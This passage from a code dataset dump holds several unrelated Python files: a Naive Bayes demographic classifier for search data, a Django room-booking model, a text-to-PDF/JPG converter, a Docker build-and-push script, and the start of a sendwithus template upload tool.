p4Vect = log(p4Num / float(p4Denom))\n p5Vect = log(p5Num / float(p5Denom))\n p6Vect = log(p6Num / float(p6Denom))\n return p0Vect, p1Vect, p2Vect,p3Vect, p4Vect, p5Vect,p6Vect, p0, p1, p2, p3, p4, p5, p6\n\ndef classifyNB_Age(vec2Classify,p0Vect, p1Vect, p2Vect,p3Vect, p4Vect, p5Vect,p6Vect, p0_, p1_, p2_, p3_, p4_, p5_, p6_): #根据贝叶斯公式计算某个用户向量属于某个标签的概率，并选出概率最大的标签作为输出\n p0=sum(vec2Classify*p0Vect)+log(p0_)\n p1=sum(vec2Classify*p1Vect)+log(p1_)\n p2=sum(vec2Classify*p2Vect)+log(p2_)\n p3 = sum(vec2Classify * p3Vect) + log(p3_)\n p4 = sum(vec2Classify * p4Vect) + log(p4_)\n p5 = sum(vec2Classify * p5Vect) + log(p5_)\n p6 = sum(vec2Classify * p6Vect) + log(p6_)\n a=[p0,p1,p2,p3,p4,p5,p6]\n return str(argsort(a)[-1])\n\ndef classifyNB_Gender(vec2Classify,p0Vect,p1Vect,p2Vect,p0_,p1_,p2_): #根据贝叶斯公式计算某个用户向量属于某个标签的概率，并选出概率最大的标签作为输出\n # print 'start-------------------start'\n s0=sum(vec2Classify*p0Vect)\n s1=sum(vec2Classify*p1Vect)\n s2=sum(vec2Classify*p2Vect)\n p0=s0+log(p0_)\n p1=s1+log(p1_)\n p2=s2+log(p2_)\n # print s0,' ',s1,' ',s2\n # print p0,' ',p1,' ',p2\n # print 'end--------------------end'\n return (('0' if p0>p2 else '2') if p0>p1 else ('1' if p1>p2 else '2'))\n\n\ndef new_wordsfreq(fulltext):\n freqDict={}\n i=0\n for token in fulltext:\n if freqDict.has_key(token):freqDict[token]+=1\n else:freqDict[token]=1\n return freqDict\n\ndef decrease_vocabset(setandfreq,useless):#传入的是字典，把频次大于为1的词组成一个新的列表,返回的也写成字典比较好\n vocabset={} #返回的也是字典，因为之后查找效率会比较高\n for word in setandfreq.keys():\n # if useless.has_key(word):i=0\n # elif setandfreq[word]>5 :vocabset.extend(word)\n if not useless.has_key(word):\n if setandfreq[word]>2:\n vocabset[word]=1\n return vocabset\n\n\nfullwords,train_searchList,train_AgeList,train_GenderList,train_EducationList,\\\n test_searchList,test_AgeList,test_GenderList,test_EducationList=loadTrainData(2000,200) #得到训练和测试的词矩阵\n\n# Test_Id,Test_Search=loadTestData()\n\nuseless = loaduselesswords()\n\nsetandfreq=new_wordsfreq(fullwords)\ntrain_vocabset=decrease_vocabset(setandfreq,useless)\nsetandfreq.clear() #清理内存\njia=0\nfor word in train_vocabset.keys():\n train_vocabset[word]=jia #在这个地方之后各个词的频数已经没有用了，所以用values记录键的位置\n jia+=1\n# print 'len',len(train_vocabset)\n\ndef bagofwords2vec(inpuset):#把输入的一行词转化为一个向量，向量的大小为词集合的大小，即把每个用户输入的搜索词条转为向量形式\n returnvec = [0]*len(train_vocabset.keys())\n for word in inpuset:\n if train_vocabset.has_key(word):\n returnvec[train_vocabset[word]] += 1\n return returnvec\n\ntrain_Mat = [] # 把原来的训练矩阵由中文词转化为向量\nfor i in range(len(train_searchList)):\n train_Mat.append(bagofwords2vec(train_searchList[i]))\n\ndef algortithm_test_Gender():\n p0Vect,p1Vect,p2Vect,p0,p1,p2=trainNB_Gender(array(train_Mat),array(train_GenderList)) #得到分类器所需的数据\n errorcount=0\n # out_gender=[]\n for i in range(len(test_searchList)):\n wordvector=bagofwords2vec(test_searchList[i])\n gender=classifyNB_Gender(array(wordvector),p0Vect,p1Vect,p2Vect,p0,p1,p2)\n # out_gender.append(gender)\n if gender!=test_GenderList[i]:\n errorcount+=1\n print('the gender error rate is:',float(errorcount)/len(test_searchList))\n # return out_gender\n\ndef algortithm_test_Age():\n p0Vect,p1Vect,p2Vect,p3Vect,p4Vect,p5Vect,p6Vect,p0,p1,p2,p3,p4,p5,p6=trainNB_Age(array(train_Mat),array(train_AgeList)) #得到分类器所需的数据\n errorcount=0\n # out_age=[]\n for i in range(len(test_searchList)):\n wordvector=bagofwords2vec(test_searchList[i])\n age=classifyNB_Age(array(wordvector),p0Vect,p1Vect,p2Vect,p3Vect,p4Vect,p5Vect,p6Vect,p0,p1,p2,p3,p4,p5,p6)\n # out_age.append(age)\n if age!=test_AgeList[i]:\n errorcount+=1\n print('the age error rate is:',float(errorcount)/len(test_searchList))\n # return out_age\n\ndef algortithm_test_Education():\n p0Vect,p1Vect,p2Vect,p3Vect,p4Vect,p5Vect,p6Vect,p0,p1,p2,p3,p4,p5,p6=trainNB_Age(array(train_Mat),array(train_EducationList)) #得到分类器所需的数据\n errorcount=0\n # out_education=[]\n for i in range(len(test_searchList)):\n wordvector=bagofwords2vec(test_searchList[i])\n education=classifyNB_Age(array(wordvector),p0Vect,p1Vect,p2Vect,p3Vect,p4Vect,p5Vect,p6Vect,p0,p1,p2,p3,p4,p5,p6)\n # out_education.append(education)\n if education!=test_EducationList[i]:\n errorcount+=1\n print('the education error rate is:',float(errorcount)/len(test_searchList))\n # return out_education\n\nalgortithm_test_Gender()\nalgortithm_test_Age()\nalgortithm_test_Education()\n\n# data = {'ID':Test_Id,'age':out_age,'gender':out_gender,'education':out_education}\n# df = pd.DataFrame(data)\n# df.to_csv('result.csv',sep=' ',columns=[\"ID\",'age',\"gender\",'education'],index=False,header=False,encoding=\"gbk\")\n\n\n", "sub_path": "Sougou/combinedalgo5.py", "file_name": "combinedalgo5.py", "file_ext": "py", "file_size_in_byte": 14572, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "jieba.cut", "line_number": 8, "usage_type": "call"}]} {"seq_id": "408737340", "text": "from django.db import models\n\n\"\"\"\n\tLe model qui permet de creer les salles\n\"\"\"\nclass Room(models.Model):\n\tappelation = models.CharField(max_length=200)\n\tnotes = models.TextField(u'Commentaires')\n\n\tdef __str__(self):\n\t\treturn self.appelation\n\n\tclass Meta:\n\t\tverbose_name = u'Room'\n\n\"\"\"\n\tLe model qui permet de creer les salles\n\"\"\"\nclass Motif(models.Model):\n\tappelation = models.CharField(max_length=200)\n\tnotes = models.TextField(u'Commentaires')\n\n\tdef __str__(self):\n\t\treturn self.appelation\n\n\tclass Meta:\n\t\tverbose_name = u'Motif'\n\n\"\"\"\n\tCe model contient l'evenement en lui meme (la reservation)\n\"\"\"\nclass Event(models.Model):\n\tday_start = models.DateField(u'Jour debut (jj/mm/aaaa)')\n\ttime_start = models.TimeField(u'Heure de debut (hh:mm)')\n\tday_end = models.DateField(u'Jour fin (jj/mm/aaaa)')\n\ttime_end = models.TimeField(u'Heure de fin (hh:mm)')\n\troom_id = models.ForeignKey(Room, on_delete=models.CASCADE)\n\tvisio = models.BooleanField(default=True)\n\tmotif_id = models.ForeignKey(Motif, on_delete=models.CASCADE)\n\tnotes = models.TextField(u'Theme / Commentaires')\n\n\tdef __str__(self):\n\t\treturn self.notes\n\n\tclass Meta:\n\t\tverbose_name = u'Event'\n\n\n\tdef check_overlap(self,fixed_start, fixed_end, new_start, new_end):\n\t\t\toverlap = False\n\t\t\tif new_start == fixed_end or new_end == fixed_start:\n\t\t\t\toverlap = False\n\t\t\telif (new_start >= fixed_start and new_start <= fixed_end) or (new_end >= fixed_start and new_end <= fixed_end):\n\t\t\t\toverlap = True\n\t\t\telif new_start <= fixed_start and new_end >= fixed_end:\n\t\t\t\toverlap = True\n\t\t\treturn overlap\n\n\tdef clean(self):\n\t\tif self.day_end <= self.day_start:\n\t\t\traise ValidationError ('Ending time must be after starting time')\n\n\t\t# events = Event.objects.filter(day=self.day)\n\t\t# if events.exists():\n\t\t# \tfor event in events:\n\t\t# \t\tif self.check_overlap(event.start_time, event.end_time, self.start_time, self.end_time):\n\t\t# \t\t\traise ValidationError ('There is an overlap with another event: ' + str(event.day) + ', '+ str(event.start_time) + '-' + str(event.end_time))", "sub_path": "models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2016, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.models.Model", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 6, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 7, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 32, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.TimeField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.TimeField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 37, "usage_type": "attribute"}, {"api_name": "django.db.models.BooleanField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.db.models.TextField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 40, "usage_type": "name"}]} {"seq_id": "615379003", "text": "#!/usr/bin/env python3\n\nimport argparse\nimport os\nfrom subprocess import call\nfrom wand.image import Image\n\n__version__ = '0.2.0'\n__author__ = 'Shawn McElroy'\n__description__ = 'Convert text based files to other formats.'\n__homepage__ = 'http://github.com/skiftio/txt2other'\n__email__ = 'hey@skift.io'\n__license__ = 'MIT'\n\nparser = argparse.ArgumentParser(description='convert code to other format (ps, pdf, jpg).')\nparser.add_argument('-r','--recursive', help='scan files recursively', default=False, action='store_true')\nparser.add_argument('-f','--force', help='overwrite any already generated files' , default=False, action='store_true')\nparser.add_argument('-d','--directory', help='top level directory to be scanned', default='.', required=False)\nparser.add_argument('-i','--input file',help='file to be scanned', default=False, required=False)\nparser.add_argument('-t','--type', help='format to be converted to', default='pdf', required=False)\nparser.add_argument('-o','--out', help='location where the output will be generated', default='output', required=False)\nparser.add_argument('-y','--only', help='only convert files with these extensions. Comma seperated list (php,py,txt)',\n default=False, required=False)\nargs = vars(parser.parse_args())\n\n\nclass txt2jpg():\n\n def __init__(self, out, recr, ftype, force, only=False):\n\n self.out = out\n self.recr = recr\n self.ftype = ftype\n self.force = force\n\n self.ignorePaths = (\n '__pycache__',\n 'cache',\n 'config',\n 'console',\n 'git',\n 'idea',\n 'lib',\n 'locale',\n 'node_modules',\n 'out',\n 'output',\n 'plugin',\n 'test',\n 'tmp',\n 'uploads',\n 'vendor',\n 'bootstrap',\n 'sass',\n 'font',\n 'logs'\n )\n\n self.ignoreFiles = [\n 'code2jpg.iml',\n 'gruntfile',\n 'composer',\n 'bootstrap.css',\n 'bootstrap.js',\n 'jquery',\n 'test',\n '.min.',\n 'travis.yml'\n ]\n\n self.ignoreExtensions = (\n 'jpg',\n 'ps',\n 'pdf',\n 'gitignore',\n 'md',\n 'iml',\n 'gitignore',\n 'htaccess',\n 'gitattributes',\n 'project',\n 'json'\n )\n\n if only is not False:\n self.onlyExtensions = only\n ign = list(self.ignoreExtensions)\n [ign.remove(ext) for ext in self.onlyExtensions if ext in self.ignoreExtensions]\n self.ignoreExtensions = tuple(ign)\n\n else:\n self.onlyExtensions = (\n 'php',\n 'js',\n 'css',\n 'ctp',\n 'py'\n )\n\n def parseFile(self, file, fold, curPath, depth=0):\n if self.ignoreFile(file, curPath):\n return\n\n if fold == '/':\n output = self.out + '/'\n else:\n output = self.out + fold + '/'\n\n self.processFiles(file, output, curPath)\n\n def parseDir(self, fold, curPath, depth=0):\n # print('')\n\n if self.ignoreDir(fold):\n return\n\n # print('Folder:[' + fold + ']')\n # print('Path :[' + curPath + ']')\n\n # make sure path exists\n if not os.path.isdir(curPath):\n self.badPath(fold)\n\n # we need to make sure this dir is in the output dir\n if not os.path.isdir(self.out):\n self.cmd(['mkdir', '-p', self.out])\n\n newOutput = self.out + fold + '/'\n print('Output :[' + newOutput + ']')\n if not os.path.isdir(newOutput):\n self.cmd(['mkdir', '-p', newOutput])\n\n currentItems = os.listdir(curPath)\n\n dirs = []\n files = []\n other = []\n for item in currentItems:\n curr = curPath + item\n if os.path.isdir(curr) and not self.ignoreDir(item):\n dirs.append(item)\n elif os.path.isfile(curr) and not self.ignoreFile(item, curPath):\n files.append(item)\n else:\n other.append(item)\n\n # print('dir items:')\n # print(dirs)\n # print('file item:')\n # print(files)\n # print('other item:')\n # print(other)\n\n # first lest process the current files\n if len(files) > 0:\n [self.parseFile(newFile, fold, curPath, depth) for newFile in files]\n\n # parse directories, only if recursive is true\n if self.recr is True and len(dirs) > 0:\n [self.parseDir(fold + newDir + '/', curPath + newDir + '/', depth+1) for newDir in dirs]\n\n def ignoreFile(self, file, path):\n name = file.lower()\n\n if len(self.onlyExtensions) > 0 and not name.endswith(self.onlyExtensions):\n # if we have an only extension list, lets use that\n return True\n\n if name.endswith(self.ignoreExtensions):\n # check for extension\n return True\n\n for ignore in self.ignoreFiles:\n if ignore in name or name == ignore:\n return True\n\n filepath = path + name\n if not os.path.isfile(filepath) or os.path.islink(filepath):\n # check if is real file\n return True\n\n return False\n\n def ignoreDir(self, fold):\n fold = fold.lower()\n for ignore in self.ignorePaths:\n if ignore in fold or ignore == fold:\n # make sure were not ignoring this\n return True\n\n return False\n\n def processFiles(self, file, outPath, curPath):\n # files\n curFile = curPath + file\n outFile = outPath + file\n psFile = outFile + '.ps'\n pdfFile = outFile + '.pdf'\n jpgFile = outFile + '.jpg'\n\n # start generating\n print('converting:[' + curFile + '] -> [' + outFile + '.' + self.ftype + ']')\n\n # check if file was already generated. No need to if already there.\n if self.force is False and \\\n (os.path.isfile(outFile + '.' + self.ftype)\n or os.path.isfile(outFile + '-0.' + self.ftype)):\n return\n\n if self.ftype == 'ps':\n self.makePs(curFile, psFile)\n\n if self.ftype == 'pdf':\n self.makePdf(curFile, psFile, pdfFile)\n\n if self.ftype == 'jpg':\n altFile = outFile + '-0' + '.jpg'\n self.makeJpg(curFile, psFile, pdfFile, jpgFile)\n\n # remove ps file\n if self.ftype != 'ps': self.cmd(['rm', psFile])\n\n # remove ps file\n if self.ftype != 'pdf': self.cmd(['rm', pdfFile])\n\n # remove pdf file\n if self.ftype != 'jpg': self.cmd(['rm', jpgFile])\n\n def makePs(self, curFile, psFile):\n # easiest file to make\n self.cmd(['enscript', curFile, '-p', psFile])\n\n def makePdf(self, curFile, psFile, pdfFile):\n # we need a ps file first\n self.makePs(curFile, psFile,)\n self.cmd(['ps2pdf', psFile, pdfFile])\n\n def makeJpg(self, curFile, psFile, pdfFile, jpgFile):\n # first we need a pdf file\n self.makePdf(curFile, psFile, pdfFile)\n with Image(filename=pdfFile, resolution=300) as img:\n img.save(filename=jpgFile)\n\n def cmd(self, cmd):\n with open(os.devnull, \"w\") as fnull:\n return call(cmd, stdout=fnull, stderr=fnull)\n\n def badPath(self, fold):\n ## for lols mostly\n from random import choice\n comments = [\n 'Bad path sir',\n 'Did you spell that right',\n 'Dude, really? That doesn\\'t exist',\n 'Not a real path',\n 'No dice. No Folder',\n 'PEBKAC Error. Folder does not exist'\n ]\n print(choice(comments) + ':[' + fold + ']')\n exit()\n\n\ndef main():\n # print(args)\n recr = args['recursive']\n fold = args['directory']\n file = args['file']\n ftype = args['type']\n out = args['out']\n force = args['force']\n only = args['only']\n\n # make sure output dir is properly setup\n if not os.path.isdir(out):\n os.mkdir(out)\n out = os.path.realpath(out)\n\n # make sure current folder is correct\n if not os.path.isdir(fold):\n print('Not a directory:[' + fold + ']')\n\n if only is not True and 'str' in str(type(only)):\n only = tuple([x.strip() for x in only.split(',')])\n\n curPath = os.path.realpath(fold) + '/'\n\n t2j = txt2jpg(out=out, recr=recr, ftype=ftype, force=force, only=only)\n\n if file is not False:\n t2j.parseFile(file, '/', curPath=curPath)\n else:\n t2j.parseDir('/', curPath=curPath)\n\n\nif __name__ == '__main__':\n main()", "sub_path": "txt2other.py", "file_name": "txt2other.py", "file_ext": "py", "file_size_in_byte": 8925, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 142, "usage_type": "call"}, {"api_name": "os.path", "line_number": 142, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.path.islink", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path", "line_number": 206, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 207, "usage_type": "call"}, {"api_name": "os.path", "line_number": 207, "usage_type": "attribute"}, {"api_name": "wand.image.Image", "line_number": 241, "usage_type": "call"}, {"api_name": "os.devnull", "line_number": 245, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 246, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path", "line_number": 274, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 275, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path", "line_number": 276, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path", "line_number": 279, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 285, "usage_type": "call"}, {"api_name": "os.path", "line_number": 285, "usage_type": "attribute"}, {"api_name": "{'choice': 'random.choice'}", "line_number": 287, "usage_type": "call"}]} {"seq_id": "484603705", "text": "#!/usr/bin/python3\n\nimport json\nimport os\nimport subprocess\nimport sys\n\nfrom contextlib import contextmanager\n\n\n@contextmanager\ndef change_directory(directory):\n original = os.path.abspath(os.getcwd())\n\n os.chdir(directory)\n yield\n os.chdir(original)\n\n\ndef build(directory, tags, options):\n with change_directory(directory):\n subprocess.run([\n 'docker', 'build', \n *options,\n *[f'--tag={tag}' for tag in tags], \n '.'], check=True)\n\n for tag in tags:\n subprocess.run(['docker', 'push', tag], check=True)\n\n\nif __name__ == '__main__':\n build_options = sys.argv[1:]\n\n with open('config.json', 'r', encoding='utf-8') as input_file:\n config = json.load(input_file)\n \n for item in config['builds']:\n build(item['dockerfile'], item['tags'], build_options)\n", "sub_path": "build.py", "file_name": "build.py", "file_ext": "py", "file_size_in_byte": 862, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 13, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 15, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 17, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 11, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 22, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 36, "usage_type": "call"}]} {"seq_id": "164659607", "text": "\"\"\"\nUploadwithus is a command line tool to facilitate keeping sendwithus templates\nand snippets code up to date with an emails repository. The tool allows you to\nmaintain your email templates and snippets under a version control system, and\nalso allows separation of testing and production emails. For more in depth\ninformation on its usage and features, check out the README.\n\nCopyright (c) 2017, Nick Balboni.\nLicense: MIT (see LICENSE for details)\n\"\"\"\n\n# python 2 support\nfrom __future__ import print_function, unicode_literals\ntry:\n from builtins import input\n import errno\nexcept ImportError:\n pass\n\nimport os\nimport re\nimport sys\nimport yaml\nfrom cached_property import cached_property\nfrom sendwithus import api as sendwithus_api\nfrom argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\n\n__author__ = 'Nick Balboni'\n__version__ = '0.2.5'\n__license__ = 'MIT'\n\n\n### Constants ##################################################################\nDEFAULT_TPL_VER = 'general'\nDEV_NAME_TPL = lambda name: 'test_{}'.format(name)\nDEV_SUBJECT_TPL = lambda subject: '[DEV] {}'.format(subject)\nTPL_CREATE_MSG = 'created new template < {} >'\nTPL_CREATE_ERR = 'unable to create template < {} > :\\n\\t{}'\nTPL_UPDATE_MSG = 'updated template < {} >'\nTPL_UPDATE_ERR = 'unable to update template < {} > :\\n\\t{}'\nVER_CREATE_MSG = 'created new version < {} > for template < {} >'\nVER_CREATE_ERR = 'unable to create version < {} > on template < {} > :\\n\\t{}'\nVER_UPDATE_MSG = 'updated version < {} > on template < {} >'\nVER_UPDATE_ERR = 'unable to update version < {} > on template < {} > :\\n\\t{}'\nSNP_CREATE_MSG = 'created new snippet < {} >'\nSNP_CREATE_ERR = 'unable to create snippet < {} > :\\n\\t{}'\nSNP_UPDATE_MSG = 'updated snippet < {} >'\nSNP_UPDATE_ERR = 'unable to update snippet < {} > :\\n\\t{}'\nTPL_NOT_FOUND_ERR = 'template < {} > not found'\nVER_NOT_FOUND_ERR = 'version < {} > on template < {} > not found'\nSNP_NOT_FOUND_ERR = 'snippet < {} > not found'\n\n\n### Helpers ####################################################################\ndef log(template, *args, **kwargs):\n status = 'ERROR' if 'error' in kwargs and kwargs['error'] else 'DEBUG'\n print(status, ':', template.format(*args))\n\ndef snippet_replace(content, snippet):\n reg = r'{%\\s+snippet\\s+[\\'\\\"]{1}' + snippet + '[\\'\\\"]{1}\\s+%}'\n return re.sub(reg, get_content(snippet, snippet=True), content)\n\ndef get_content(name, version=None, snippet=False):\n \"\"\" throws FileNotFoundError \"\"\"\n if snippet:\n fp = os.path.join('snippets', name + '.html')\n elif version is None:\n fp = os.path.join('templates', name + '.html')\n else:\n fp = os.path.join('templates', name, version + '.html')\n try:\n with open(fp) as fs:\n return fs.read()\n except FileNotFoundError as e:\n if snippet:\n log(SNP_NOT_FOUND_ERR, name, error=True)\n elif version is None:\n log(TPL_NOT_FOUND_ERR, name, error=True)\n else:\n log(VER_NOT_FOUND_ERR, name, version, error=True)\n\n\n### The Meat and Potatos #######################################################\nclass API:\n def __init__(self, key, expands):\n self.api = sendwithus_api(api_key=key)\n self.expands = expands\n\n def parse_content(self, content):\n # expand snippets before uploading\n for snippet in self.expands:\n content = snippet_replace(content, snippet)\n # regex replace\n ptn = re.compile(r'{%\\s+snippet\\s+[\\'\\\"]{1}(.*?)[\\'\\\"]{1}\\s+%}')\n for match in ptn.finditer(content):\n new_name = 'test_' + match.group(1)\n new_snippet = match.group(0).replace(match.group(1), new_name)\n content = content.replace(match.group(0), new_snippet)\n return content\n\n ### TEMPLATES ##############################################################\n @cached_property\n def sendwithus_templates(self):\n templates_data = {}\n for tpl in self.api.templates().json():\n templates_data[tpl['name']] = {\n 'id': tpl['id'],\n 'versions': { v['name']: v['id'] for v in tpl['versions'] }\n }\n return templates_data\n\n @cached_property\n def local_templates(self):\n templates_data = {}\n with open('template_info.yaml', 'r') as f:\n templates_data = yaml.load(f)\n return templates_data\n\n def create_template(self, template, development=True):\n \"\"\" create new templates with the general version\n returns template id and array of created versions \"\"\"\n try:\n html = get_content(template, version=DEFAULT_TPL_VER)\n subject = self.local_templates[template]['subject']\n if development:\n html = self.parse_content(html)\n subject = DEV_SUBJECT_TPL(subject)\n template = DEV_NAME_TPL(template)\n # create new template\n resp = self.api.create_template(template, subject, html)\n resp.raise_for_status()\n tid = resp.json()['id']\n # get id of the new version\n resp = self.api.get_template(tid)\n resp.raise_for_status()\n vid = list(resp.json()['versions'])[0]['id']\n # rename template to DEFAULT_TPL_VER\n # NOTE: template can potentially be created but not renamed: add cleanup?\n self.api.update_template_version(\n DEFAULT_TPL_VER, subject, tid, vid, html=html\n ).raise_for_status()\n except Exception as e:\n log(TPL_CREATE_ERR, template, e, error=True)\n else:\n log(TPL_CREATE_MSG, template)\n return ( tid, [ DEFAULT_TPL_VER ] )\n\n def create_template_version(self, template, tid, version, development=True):\n \"\"\" adds a new template version to an existing template\n returns boolean \"\"\"\n try:\n html = get_content(template, version=version['name'])\n subject = version['subject']\n if subject is None:\n subject = self.local_templates[template]['subject']\n if development:\n html = self.parse_content(html)\n subject = DEV_SUBJECT_TPL(subject)\n template = DEV_NAME_TPL(template)\n self.api.create_new_version(\n version['name'], subject, template_id=tid, html=html\n ).raise_for_status()\n except Exception as e:\n log(VER_CREATE_ERR, version['name'], template, e, error=True)\n return False\n else:\n log(VER_CREATE_MSG, version['name'], template)\n return True\n\n def add_new_templates(self, development=True):\n \"\"\" creates new templates for any local templates that don't have\n sendwithus copies; throws FileNotFoundError \"\"\"\n created_templates = {}\n for key, value in self.local_templates.items():\n name = DEV_NAME_TPL(key) if development else key\n tid = None\n # if local template is not on sendwithus\n if not name in self.sendwithus_templates:\n content = self.create_template(key, development)\n if not content is None:\n tid, versions = content\n created_templates[name] = versions\n else:\n tid = self.sendwithus_templates[name]['id']\n # search local versions for ones not already on sendwithus\n for version in value['versions']:\n v = version['name']\n if v == DEFAULT_TPL_VER or (name in self.sendwithus_templates and \\\n v in self.sendwithus_templates[name]['versions']):\n continue\n if self.create_template_version(key, tid, version, development):\n if name in created_templates:\n created_templates[name].append(v)\n else:\n created_templates[name] = [v]\n return created_templates\n\n def update_templates(self, development=True):\n \"\"\" updates the templates copies on sendwithus\n throws KeyError and FileNotFoundError \"\"\"\n created_templates = self.add_new_templates(development=development)\n for key, value in self.local_templates.items():\n name = DEV_NAME_TPL(key) if development else key\n versions = [ (v['name'], v['subject']) for v in value['versions'] ]\n for version, subject in versions:\n if name in created_templates and version in created_templates[name]:\n continue # don't re-add templates or versions\n try:\n html = get_content(key, version)\n if subject is None:\n subject = value['subject']\n template_id = self.sendwithus_templates[name]['id']\n version_id = self.sendwithus_templates[name]['versions'][version]\n if development:\n html = self.parse_content(html)\n subject = DEV_SUBJECT_TPL(subject)\n self.api.update_template_version(\n version, subject, template_id, version_id, html=html\n ).raise_for_status()\n except Exception as e: # KeyError, requests Error\n log(VER_UPDATE_ERR, version, name, e, error=True)\n else:\n log(VER_UPDATE_MSG, version, name)\n\n def get_sendwithus_ids(self):\n for key, value in self.sendwithus_templates.items():\n print(key, ':', value['id'])\n\n ### SNIPPETS ###############################################################\n @cached_property\n def sendwithus_snippets(self):\n return { s['name']: s['id'] for s in self.api.snippets().json() }\n\n @cached_property\n def local_snippets(self):\n snippets_data = []\n with open('snippet_info.yaml', 'r') as f:\n snippets_data = yaml.load(f)\n return snippets_data\n\n def add_new_snippets(self, development=True):\n \"\"\" creates new snippets for any local snippets that don't have\n sendwithus copies \"\"\"\n created_snippets = {}\n for snippet in self.local_snippets:\n name = DEV_NAME_TPL(snippet) if development else snippet\n if not name in self.sendwithus_snippets:\n try:\n html = get_content(snippet, snippet=True)\n if development:\n html = self.parse_content(html)\n resp = self.api.create_snippet(name, html)\n resp.raise_for_status()\n except Exception as e:\n log(SNP_CREATE_ERR, name, e, error=True)\n else:\n log(SNP_CREATE_MSG, name)\n created_snippets[name] = resp.json()['snippet']['id']\n return created_snippets\n\n def update_snippets(self, snippets=[], development=True):\n \"\"\" overwrites sendwithus snippet copies with locally held snippets \"\"\"\n if len(snippets) == 0:\n snippets = self.local_snippets\n created_snippets = self.add_new_snippets(development=development)\n for snippet in snippets:\n name = DEV_NAME_TPL(snippet) if development else snippet\n if name in created_snippets:\n continue\n try:\n html = get_content(snippet, snippet=True)\n if development:\n html = self.parse_content(html)\n snippet_id = self.sendwithus_snippets[name]\n resp = self.api.update_snippet(snippet_id, name, html)\n resp.raise_for_status()\n except Exception as e: # KeyError, requests exception\n log(SNP_UPDATE_ERR, name, e, error=True)\n else:\n log(SNP_UPDATE_MSG, name)\n\n\n### Command Line Interface #####################################################\ndef parse_args():\n parser = ArgumentParser(\n formatter_class=ArgumentDefaultsHelpFormatter,\n description=__doc__ )\n parser.add_argument('-v', '--version', action='store_true',\n help='print out 